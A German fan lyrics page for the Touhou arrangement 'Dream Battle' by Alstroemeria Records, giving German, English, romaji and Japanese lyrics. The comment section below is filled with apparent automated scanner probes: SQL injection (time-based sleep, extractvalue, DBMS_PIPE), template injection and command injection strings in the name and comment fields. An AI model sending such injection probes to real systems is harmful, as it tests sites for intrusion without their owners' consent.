Alstroemeria Records - Dream Battle
Original | 少女綺想曲~Dream Battle 東方永夜抄~Imperishable Night |
Album | of memories |
Arranger | Masayoshi Minoshima |
Lyric | Haruka |
Vocals | Nachi Sakaue |
Länge | 00:05:35 |
Bild | |
Quelle (Englisch) | https://kafkafuura.wordpress.com/2010/08/23/dream-battle/ |
Obwohl ich nichts sehe und der Weg vor mir in die Dunkelheit führt
jage ich selbst jetzt meinen Träumen hinterher - das wird sich bei mir nie verändern Doch es fühlt sich so an, als würde ich es nur aus einer Laune heraus tun und das beschäftigt mich Ich habe schon immer und werde auch immer träumen - auch das wird sich nie verändern Obwohl Dunkelheit vor mir liegt, stört mich das nicht, ich möchte noch immer glauben dass es keinen Grund gibt, Angst zu haben - ich bin mir sicher, das ich mich nicht verlaufen werde Meine Gefühle werden sich nie verändern, selbst, wenn meine Träume zerschlagen werden sollten Ich träume einfach weiter - immer und immer wieder Ja, ich bin mir sicher, der Weg, den ich entlanggehe, hat kein Ende - doch wenn ich nur an mich selbst glauben kann kann es sogar dort, weit entfernt, eine Ende geben, das ich sehen kann. Nun kann ich nichts mehr fühlen - doch selbst an einem solchen Ort, sollte ich in der Lage sein, einzutreten, ohne meinen Wunsch zu verlieren, wenn ich träume Denn selbst, wenn er zerfällt, möchte ich ihn für immer in meinem Herzen behalten Meine Gefühle werden nicht verschwinden - wenigstens das ist sicher Selbst, wenn dieser Traum eine Illusion ist, ist es in Ordnung, da ich in der Lage bin, es zu sehen Selbst wenn ich nie in der Lage sein werde, ihn zu erreichen, werde ich immer noch an ihn glauben können Meine Gefühle sind immer die gleichen, sie werden sich weder jetzt noch in Zukunft ändern Ich möchte nur an ihn glauben - an diesen Traum Ja, ich bin mir sicher - selbst wenn sich das Ende, auf das ich starre irgendwo versteckt, kann ich einfach an mich glauben Der Traum geht auf ewig weiter, solange ich ihn sehen kann, selbst wenn ich ihn nie erreichen werde Though now I can’t see anything, and the way ahead has descended into darkness..
Even now I keep chasing after my dreams – For me, that will never change. Though I feel like I always do this on a whim, and that always puzzles me.. I always have, and always will be dreaming – That too will never change. Though there’s darkness ahead, that’s fine I still want to believe.. There’s no reason to be afraid – I’m sure I won’t get lost. My feelings will never change, even if my dreams are shattered.. I simply keep dreaming, over and over again. Yes, I’m sure – This road I’m going down Has no end – but if I can just believe in myself.. Even now there may be far down ahead An end that I can see. Now, I can’t feel a thing – But even in such a place, If I dream, I should be able to enter without losing my wish.. For even if it crumbles, I want to leave it forever in my heart My feelings won’t disappear – that at least is a certain truth. Even if this dream is an illusion, that’s fine since I’m able to see it Even if I’m stay unable to reach it, I’ll still be able to believe. My feelings are as always, now and forever unchanging I just want to believe – in this dream Yes, I’m sure – Even if the end I’m staring at Hides itself somewhere, if I can just believe in myself.. The dream continues on forever. Even if I can never reach it, as long as I can always see it… imawa nani mo mienakute saki ga yami ni kawatte mo
ima mo yume wo oi tsuzuke sore ga watashi kawaranai sore wa kitto kimagure ni itsumo watashi madowasu no yume wo miteru itsumademo sore mo watashi kawaranai kono saki kurayami demo ii no shinjitai osoreru koto wa nai wa kitto mayowanai wa kawaranu sono omoi wa yume ga yaburete mo watashi wa yumemiru koto wo kurikaesu sou ne tsuzuiteru michi wa owaru koto wa nai desho jibun ga shinji rareru no nara ima mo kono michi no saki wa haruka saki ni aru kedo miete iru hazuda kara ima wa nani mo kanjinai sonna basho ni iru keredo yume wo mireba sono negai ushinawazu ni ireru kara tatoe sore ga kuzurete mo zutto mune ni nokoshitai kie wa shinai kono omoi hitotsu sore ga shinjitsu ne kono yume gensou de mo ii no mireru nara todokanu mama de ite mo kitto shinji rareru kawaranu kono omoi wa ima mo sono mama de shinjite itai sore dake kono yume wo sou ne mitsuzuketa saki wa kimagure ni kakuretemo jibun ga shinjite iru no nara yume wa itsumademo tsuzuku tegatodoite nakute mo miete iru hazu naraba 今はなにも見えなくて 先が闇に変わっても
今も夢を追い続け それが私、変わらない それはきっと気まぐれに いつも私惑わすの 夢を見てるいつまでも それも私、変わらない この先暗闇でも いいの信じたい 恐れることは無いわ きっと迷わないわ 変わらぬその想いは 夢が破れても 私は夢見ることを 繰り返す そうね 続いてる道は 終わることは無いでしょ 自分が信じられるのなら 今もこの道の先は 遥か先にあるけど 見えているはずだから 今はなにも感じない そんな場所にいるけれど 夢を見ればその願い 失わずにいれるから たとえそれが崩れても ずっと胸に残したい 消えはしないこの想い ひとつそれが真実ね この夢幻想でも いいの見れるなら 届かぬままでいても きっと信じられる 変わらぬこの想いは 今もそのままで 信じていたいそれだけ この夢を そうね 見続けた先は 気まぐれに隠れても 自分が信じているのなら 夢は いつまでも続く 手が届いてなくても 見えているはずならば | |
Tags: Lyrics, Deutsch, Übersetzung, Touhou, Original, Songtext |
admin (2024-02-15 18:06:59): |
123456 |
admin'and/**/extractvalue(1,concat(char(126),md5(1864322728)))and' (2024-02-15 18:06:14): |
123456 |
${(979065652+840446620)?c} (2024-02-15 18:06:18): |
123456 |
admin (2024-02-15 18:07:00): |
123456/**/and+4=5 |
admin (2024-02-15 18:06:18): |
123456 |
admin (2024-02-15 18:07:34): |
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('z',0)='z |
${@var_dump(md5(897014766))}; (2024-02-15 18:06:19): |
123456 |
expr 954901599 + 983494357 (2024-02-15 18:06:20): |
123456 |
admin (2024-02-15 18:07:02): |
123456'and'd'='d |
admin (2024-02-15 18:06:20): |
123456 |
admin"and/**/extractvalue(1,concat(char(126),md5(1847224419)))and" (2024-02-15 18:06:20): |
123456 |
admin (2024-02-15 18:06:20): |
123456 |
#set($c=836648241+944200592)${c}$c (2024-02-15 18:06:20): |
123456 |
admin (2024-02-15 18:07:36): |
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('d',4)='d |
'-var_dump(md5(258465610))-' (2024-02-15 18:06:21): |
123456 |
admin (2024-02-15 18:07:03): |
123456'and'b'='c |
admin (2024-02-15 18:06:21): |
123456 expr 942831413 + 874390172 |
admin'and'i'='i (2024-02-15 18:06:22): |
123456 |
extractvalue(1,concat(char(126),md5(1816991739))) (2024-02-15 18:06:22): |
123456 |
admin (2024-02-15 18:06:22): |
123456 |
<%- 837518579+996127741 %> (2024-02-15 18:06:22): |
123456 |
${897848461+945369311} (2024-02-15 18:06:22): |
123456 |
admin (2024-02-15 18:07:05): |
123456"and"m"="m |
admin (2024-02-15 18:06:23): |
${@var_dump(md5(745097501))}; |
admin (2024-02-15 18:06:23): |
123456|expr 810501508 + 854328375 |
admin'and'l'='r (2024-02-15 18:06:24): |
123456 |
admin (2024-02-15 18:06:24): |
123456 |
admin (2024-02-15 18:07:06): |
123456"and"v"="q |
admin'and(select'1'from/**/cast(md5(1531260753)as/**/int))>'0 (2024-02-15 18:06:24): |
123456 |
admin (2024-02-15 18:06:24): |
/*1*/{{987863675+922684387}} |
admin (2024-02-15 18:06:24): |
${943520512+847540833} |
admin (2024-02-15 18:06:25): |
'-var_dump(md5(993738082))-' |
admin (2024-02-15 18:07:08): |
(select*from(select+sleep(0)union/**/select+1)a) |
admin (2024-02-15 18:06:25): |
123456$(expr 800066623 + 866062618) |
admin"and"d"="d (2024-02-15 18:06:25): |
123456 |
admin (2024-02-15 18:06:25): |
123456 |
admin/**/and/**/cast(md5('1852976687')as/**/int)>0 (2024-02-15 18:06:25): |
123456 |
admin (2024-02-15 18:06:25): |
${803800360+883102728} |
admin (2024-02-15 18:07:09): |
(select*from(select+sleep(4)union/**/select+1)a) |
admin (2024-02-15 18:06:26): |
123456&set /A 885767876+805257326 |
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1414141476'))) (2024-02-15 18:06:27): |
123456 |
admin"and"y"="y (2024-02-15 18:06:27): |
123456 |
admin (2024-02-15 18:06:27): |
123456 |
admin (2024-02-15 18:06:27): |
${(890168418+904227331)?c} |
admin (2024-02-15 18:07:11): |
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)=' |
admin (2024-02-15 18:06:28): |
expr 989051372 + 817677099 |
admin (2024-02-15 18:07:12): |
123456'and(select*from(select+sleep(4))a/**/union/**/select+1)=' |
admin (2024-02-15 18:06:28): |
123456 |
admin (2024-02-15 18:06:28): |
123456 |
admin (2024-02-15 18:06:29): |
#set($c=869560483+887192940)${c}$c |
admin (2024-02-15 18:07:14): |
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)=" |
admin鎈'"\( (2024-02-15 18:06:30): |
123456 |
admin (2024-02-15 18:06:30): |
123456 |
admin (2024-02-15 18:06:31): |
123456 |
admin (2024-02-15 18:06:32): |
<%- 811079536+919430673 %> |
admin (2024-02-15 18:07:15): |
123456"and(select*from(select+sleep(4))a/**/union/**/select+1)=" |
admin'"\( (2024-02-15 18:06:32): |
123456 |
admin (2024-02-15 18:06:32): |
123456 |
admin (2024-02-15 18:06:32): |
123456 |
admin (2024-02-15 18:07:17): |
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/ |
admin (2024-02-15 18:06:34): |
123456'and/**/extractvalue(1,concat(char(126),md5(1982669129)))and' |
admin'and(select*from(select+sleep(0))a/**/union/**/select+1)=' (2024-02-15 18:06:34): |
123456 |
admin (2024-02-15 18:07:19): |
123456/**/and(select+1/**/from/**/pg_sleep(4))>0/**/ |
admin (2024-02-15 18:06:35): |
123456 |
admin (2024-02-15 18:06:36): |
123456"and/**/extractvalue(1,concat(char(126),md5(1789936361)))and" |
admin'and(select*from(select+sleep(4))a/**/union/**/select+1)=' (2024-02-15 18:06:36): |
123456 |
admin (2024-02-15 18:07:20): |
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0 |
admin (2024-02-15 18:06:37): |
123456 |
admin (2024-02-15 18:06:38): |
extractvalue(1,concat(char(126),md5(1163268993))) |
admin"and(select*from(select+sleep(0))a/**/union/**/select+1)=" (2024-02-15 18:06:38): |
123456 |
admin (2024-02-15 18:06:40): |
123456'and(select'1'from/**/cast(md5(1933360283)as/**/int))>'0 |
admin (2024-02-15 18:07:23): |
123456'/**/and(select'1'from/**/pg_sleep(4))::text>'0 |
admin"and(select*from(select+sleep(4))a/**/union/**/select+1)=" (2024-02-15 18:06:40): |
123456 |
admin (2024-02-15 18:06:40): |
123456 |
admin (2024-02-15 18:06:41): |
123456/**/and/**/cast(md5('1861745840')as/**/int)>0 |
admin'/**/and(select'1'from/**/pg_sleep(0))::text>'0 (2024-02-15 18:06:42): |
123456 |
admin (2024-02-15 18:06:42): |
123456 |
admin (2024-02-15 18:07:24): |
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/ |
admin (2024-02-15 18:06:43): |
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1101949452'))) |
admin'/**/and(select'1'from/**/pg_sleep(4))::text>'0 (2024-02-15 18:06:44): |
123456 |
admin (2024-02-15 18:06:44): |
123456 |
admin (2024-02-15 18:06:45): |
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1766769893')))>'0 |
admin (2024-02-15 18:07:26): |
123456/**/and(select+1)>0waitfor/**/delay'0:0:4'/**/ |
admin (2024-02-15 18:06:45): |
123456 |
admin'and(select+1)>0waitfor/**/delay'0:0:0 (2024-02-15 18:06:46): |
123456 |
admin (2024-02-15 18:06:47): |
123456鎈'"\( |
admin expr 989061586 + 898195378 (2024-02-15 18:06:07): |
123456 |
admin (2024-02-15 18:06:47): |
123456 |
admin (2024-02-15 18:07:28): |
123456'and(select+1)>0waitfor/**/delay'0:0:0 |
admin (2024-02-15 18:06:07): |
123456 |
admin'and(select+1)>0waitfor/**/delay'0:0:4 (2024-02-15 18:06:48): |
123456 |
admin (2024-02-15 18:06:48): |
123456'"\( |
admin (2024-02-15 18:06:49): |
123456 |
admin|expr 923193329 + 983072590 (2024-02-15 18:06:09): |
123456 |
admin (2024-02-15 18:06:09): |
123456 |
admin (2024-02-15 18:07:30): |
123456'and(select+1)>0waitfor/**/delay'0:0:4 |
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',0)='g (2024-02-15 18:06:50): |
123456 |
/*1*/{{998180463+897600963}} (2024-02-15 18:06:10): |
123456 |
admin (2024-02-15 18:06:56): |
123456 |
admin (2024-02-15 18:06:10): |
123456 |
admin$(expr 901400443 + 944949617) (2024-02-15 18:06:11): |
123456 |
admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',4)='c (2024-02-15 18:06:57): |
123456 |
admin (2024-02-15 18:07:31): |
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('z',0) |
admin (2024-02-15 18:06:11): |
123456 |
admin (2024-02-15 17:55:01): |
123456 |
admin (2024-02-15 18:06:58): |
123456 |
admin (2024-02-15 18:06:11): |
123456 |
admin (2024-02-15 18:06:58): |
123456/**/and+0=0 |
${953403566+871937718} (2024-02-15 18:06:12): |
123456 |
admin (2024-02-15 18:06:12): |
123456 |
admin (2024-02-15 18:07:33): |
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('i',4) |
admin&set /A 998828502+885277325 (2024-02-15 18:06:12): |
123456 |